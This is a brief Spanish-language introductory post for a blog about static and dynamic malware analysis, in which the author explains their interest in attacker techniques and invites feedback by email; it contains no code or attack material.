Tue, 05 Dec 2023 11:25:41 -0500

¡Hola! Bienvenido a mi blog, en donde planeo documentar las distintas técnicas que uno puede utilizar para analizar malware, de manera estática y dinámica.

¿Por qué hacer un blog relacionado al análisis de malware? El entender las distintas técnicas que los atacantes utilizan para lograr sus objetivos es algo que me interesa desde hace años, desde simples phishing hasta software complicado del estilo de Stuxnet.

El objetivo del blog es compartir conocimiento e impulsar el aprendizaje; sin embargo, no me consideraría un experto, por lo que si omití algo o tienes una sugerencia, házmelo saber! Puedes contactarme escribiendo al correo contact@threatanatomy.com.

¡Gracias por leer el blog!